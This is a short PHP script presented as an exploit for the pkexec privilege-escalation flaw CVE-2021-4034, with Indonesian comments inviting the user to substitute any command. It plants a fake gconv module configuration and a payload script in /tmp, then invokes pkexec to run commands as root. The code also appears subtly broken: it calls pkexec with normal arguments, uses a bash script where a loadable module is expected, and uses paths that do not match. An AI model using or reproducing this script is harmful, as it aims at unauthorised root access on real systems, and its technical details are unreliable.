<?php
// CVE-2021-4034 pkexec exploit - PHP version
// Run as: php exploit.php

$cmd = "id -a"; // Ganti dengan command yang mau dijalankan

// Setup environment
putenv("PATH=/bin:/usr/bin");
putenv("GCONV_PATH=/tmp");
putenv("CHARSET=EXPLOIT");

// Buat direktori dan file
mkdir("/tmp/GCONV_PATH=./", 0777, true);
file_put_contents("/tmp/GCONV_PATH=./exploit", "#!/bin/bash\nexec $cmd\nexit 0");
chmod("/tmp/GCONV_PATH=./exploit", 0777);
file_put_contents("/tmp/gconv-modules", "module  UTF-8//    EXPLOIT//    /tmp/exploit    1");

// Execute pkexec
$output = shell_exec("pkexec /bin/bash 2>&1");
echo "Result: " . $output;
?>